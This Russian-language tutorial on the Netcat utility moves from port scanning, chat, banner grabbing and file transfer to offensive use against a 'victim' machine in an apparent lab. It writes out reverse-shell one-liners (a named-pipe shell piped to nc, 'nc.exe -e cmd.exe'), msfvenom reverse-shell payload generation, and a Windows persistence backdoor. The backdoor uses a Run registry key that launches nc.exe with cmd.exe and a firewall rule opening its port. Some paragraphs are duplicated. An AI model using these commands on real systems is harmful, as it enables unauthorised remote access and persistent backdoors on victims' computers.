«Будь то сканирование портов или получение обратной оболочки, с Netcat возможно все». Сегодня в этой статье мы рассмотрим одну из наиболее часто используемых сетевых утилит и узнаем, как другие фреймворки усиливают Netcat для создания сеанса.
Netcat, технически используемый как «nc» — это сетевая утилита, которая использует соединения TCP и UDP для чтения и записи в сети. Его могут использовать как злоумышленники, так и аудиторы безопасности. Учитывая сценарий атаки, этот многофункциональный инструмент может управляться сценариями, что делает его довольно надежным, и если мы обсудим раздел безопасности, он помогает нам отлаживать и исследовать сеть.
Почему netcat настолько надежен, что может делать все, будь то сканирование портов, захват баннеров, передача файла или даже создание обратного соединения?
Давайте рассмотрим основные функции netcat и ответим на этот вопрос.
- Он действует как простой клиент TCP / UDP / SCTP / SSL для взаимодействия с веб-серверами, серверами telnet, почтовыми серверами и другими сетевыми службами TCP / IP.
- Он перенаправляет трафик TCP / UDP / SCTP на другие порты или хосты, действуя как прокси-сервер SOCKS или HTTP, так что клиенты указывают свои собственные пункты назначения.
- Netcat может даже подключаться к пунктам назначения через цепочку анонимных или аутентифицированных прокси.
- Шифрует связь с помощью SSL и передает ее по IPv4 или IPv6.
- Он действует как брокер соединений, позволяя двум (или более) клиентам подключаться друг к другу через третий (посреднический) сервер.
Итак, до сих пор вы могли быть в курсе всех функций Netcat, что делает его уникальным и простым.
Давайте попробуем копнуть глубже и выяснить, что еще можно сделать с помощью этого замечательного инструмента.
Базовые команды Netcat
«Help»
или «h»
, этот флаг выпадает из всех возможных вариантов, которые инструмент может сделать для нас. Чтобы начать с netcat, мы будем использовать самую простую команду помощи, а именно:
nc -h
Сканирование портов
Netcat можно использовать как сканер портов, хотя он не предназначен для работы в этом качестве. Чтобы сделать его работоспособным сканером, нам нужно установить флаг «-z»,
который сообщает netcat, о возможности сканировать демон листинга без отправки каких-либо данных. Это позволяет понять, какой тип службы работает на этом конкретном порту. Таким образом, netcat может выполнять сканирование TCP и UDP, давайте посмотрим, как это сделать:
TCP Сканирование
nc -v -n -z 192.168.1.105 21-100
[-v]:
указывает подробный режим- [
-n]:
указывает IP-адреса, состоящие только из чисел. - [-z]: указывает нулевой режим ввода / вывода [используется для сканирования]
Чтобы завершить это сканирование, нам нужно указать диапазон портов. На изображении ниже вы можете видеть, что я упомянул диапазон портов от 21 до 100, при котором выполняющиеся службы будут выгружаться на целевой машине.
UDP сканирование
Мы даже можем сканировать порты UDP так же, как сканировали порты TCP. Здесь мы будем использовать флаг «–u»
, который будет активировать режим UDP.
nc -vzu 192.168.1.105 161
В этом сценарии мы упомянули номер порта, а не диапазон. На изображении ниже вы можете видеть, что мы захватили работающую службу «snmp».
В чате
Netcat также можно использовать для общения двух пользователей. Но перед этим нам нужно установить соединение. Чтобы настроить все это, мы будем использовать два устройства: одно будет играть роль инициатора, а другое — слушателя. Как только это соединение будет установлено, связь может быть осуществлена с обоих концов.
Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователю root kali необходимо настроить свой «слушатель» netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:
Давайте посмотрим на этот сценарий, в котором два пользователя с разными операционными системами общаются друг с другом через установленное соединение Netcat.
Первоначально пользователю root kali необходимо настроить свой “listener” netcat через определенный порт, чтобы создать сетевое соединение. Для этого выполните следующую команду:
nc -lvp 1234
здесь
[l]: Listen Mode
[v]: Verbose Mode
[p]: Local Port
Пришло время настроить инициатор, мы сделаем это от пользователя root Ubuntu, просто предоставив IP-адрес системы, в которой мы запустили листенер, а затем номер порта.
nc 192.168.1.109 1234
На изображении ниже вы можете видеть, что соединение было настроено, и теперь обе машины могут обмениваться данными друг с другом.
Баннер — это текстовое сообщение, полученное от хоста, с информацией об открытых портах и службах, а также номера их версий.
Выполните следующую команду, чтобы получить целевые баннеры ftp и ssh:
nc 192.168.1.105 21
nc 192.168.1.105 22
Передача файлов
Netcat предлагает нам возможность передавать файлы с одного устройства на другое по сети.
Давайте рассмотрим сценарий, в котором пользователь kali освобождается от необходимости передавать свои файлы пользователю на машине Ubuntu.
Из приведенного ниже изображения пользователь на машине kali устанавливает прослушиватель на порт номер 5555 и делится файлом file.txt с помощью параметра «<».
nc -lvp 5555 < file.txt
nc 192.168.1.109 5555 > file.txt
Linux Reverse Shell
Как обсуждалось ранее, netcat может выполнять все, что угодно, поэтому теперь мы попытаемся использовать целевую машину с помощью «msfvenom» для создания полезной нагрузки и настроим listener netcat для захвата сеанса.
Давайте попробуем создать полезную нагрузку с помощью следующей команды:
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.109 lport=6666 R
Флаг «R»
используется для генерации необработанной полезной нагрузки, которая будет отображаться на нашем экране.
На изображении выше вы можете видеть, что наша полезная нагрузка готова, теперь пришло время запустить ее через сервер нашей жертвы.
Откройте машину Ubuntu и введите эту полезную нагрузку в терминал. Прежде чем запускать его, вернитесь к машине злоумышленника (kali Linux) и настройте там listener netcat, используя тот же номер порта, который вы использовали при генерации полезной нагрузки.
На изображении ниже вы можете видеть, что, как только жертва запустит полезную нагрузку, мы получим сеанс.
Часто бывает, что безопасность становится очень эффективной, и мы не можем захватить сеанс с помощью этого метода, но есть другой способ получить reverse shell.
Перед этим установите listener netcat на порт 443:
Когда listener загрузится, просто выполните следующие команды на целевой машине:
mknod /tmp/backpipe p
/bin/sh 0</tmp/backpipe | nc 192.168.1.109 443 1>/tmp/backpipe
Это поможет вам обойти защиту и продолжить сеанс netcat.
На изображении ниже вы можете видеть, что мы успешно захватили оболочку жертвы.
Рандомизированный порт
Есть вероятность, что мы не можем выбрать собственный порт для настройки прослушивателя или установления соединения netcat. Ну, у netcat есть специальный флаг «–r»
, который предоставит нам случайный локальный порт.
nc -lv –r
На изображении ниже вы можете видеть, что наш листенер запущен на 38931.
Есть вероятность, что мы не сможем выбрать собственный порт для настройки листенера или установления соединения netcat. Ну, у netcat есть специальный флаг «–r»
, который предоставит нам случайный локальный порт.
nc -lv –r
На изображении ниже вы можете видеть, что наш листенер запущен на 38931.
HTTP-баннеры теперь не могут быть легко получены, поскольку они содержат информацию о сервере. Но мы можем использовать netcat для сбора информации о любом веб-сервере.
Просто выполните следующую команду, чтобы управлять целевым сервером и проверять, что мы захватили.
printf "GET / HTTP/1.0\r\n\r\n" | nc 192.168.1.105 80
На изображении ниже вы можете видеть, что я успешно захватил HTTP-баннер, и нам представлен сервер Apache.
Обратное соединение Windows
Бэкдор системы приветствуют нас всякий раз, когда нас отбрасывает назад.
Мы попытаемся создать подобный бэкдор на целевой машине с Windows, который позволит нам войти в него в любое время, когда мы вернемся.
Давайте сначала настроим листенер на нашей машине kali:
nc -lvp 4444
Теперь выполните следующую команду в командной строке Windows жертвы, чтобы создать бэкдор.
nc.exe 192.168.1.109 4444 -e cmd.exe
Пора вернуться к машине нашего злоумышленника. На изображении ниже вы можете видеть, что мы находимся в командной оболочке жертвы.
Сохранение Windows 10
Настойчивость играет важную роль в жизни злоумышленника. Итак, давайте попробуем создать постоянный бэкдор с помощью netcat и Metasploit framework на хост-машине, которую мы взломали.
На изображении ниже вы можете увидеть, что я получил сеанс meterpreter на машине с Windows 10.
Теперь загрузите файл netcat.exe
в system32
на компьютере жертвы, используя следующую команду:
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32
Теперь настройте netcat на листенер на любом случайном порту, например, 4445, откройте порт при запуске и установите соединение.
Используйте следующую команду:
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v netcat -d 'C:\windows\system32\nc.exe -Ldp 4445 -e cmd.exe'
При успешном подключении netcat мы получим reverse_shell компьютера жертвы.
Теперь пришло время добавить новое правило к брандмауэру с именем «netcat», в котором входящее соединение будет разрешать порт 4445 с помощью интерактивной командной строки cmd, запускающей команду с именем netsh.
Введите следующую команду:
netsh advfirewall firewall add rule name='netcat' dir=in action=allow protocol=Tcp localport=4445
Давайте проверим рабочий режим и состояние порта, выполнив следующую команду:
netsh firewall show portopening
Итак, со всем этим мы закончили. Теперь, когда жертва снова перезагружает систему, мы получим оболочку netcat. Выполните следующую команду, чтобы подключить наш бэкдор netcat через порт 4445.
nc -nv 192.168.1.105 4445
Мы успешно поддерживаем постоянный бэкдор, теперь, когда жертва загружается, у нас всегда будет его сеанс. Чтобы узнать больше о постоянстве Windows, щелкните здесь.
Полезная нагрузка msfvenom с Netcat
До сих пор мы узнали о Netcat все, от базовых до продвинутых. Итак, давайте узнаем, как мы можем связаться с жертвой через нашу Netcat_shell, используя полезную нагрузку msfvenom.
Запустите терминал и выполните следующую команду, чтобы сгенерировать полезную нагрузку .exe.
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.104 lport=3333 –f exe > shell.exe
Теперь включите листенер Netcat через порт 3333.
Поделитесь этой сгенерированной полезной нагрузкой с жертвой, как только она откроет ее, вы получите обратное соединение.
Заключение
Вы можете использовать Netcat для открытия TCP- и UDP-соединений между двумя компьютерами на любом порту. Его также можно использовать в качестве инструмента для сканирования портов, такого как nmap. Кроме того, его можно использовать для переадресации портов, прокси, простого веб-сервера и для того, чтобы оставить бэкдор открытым для хакера.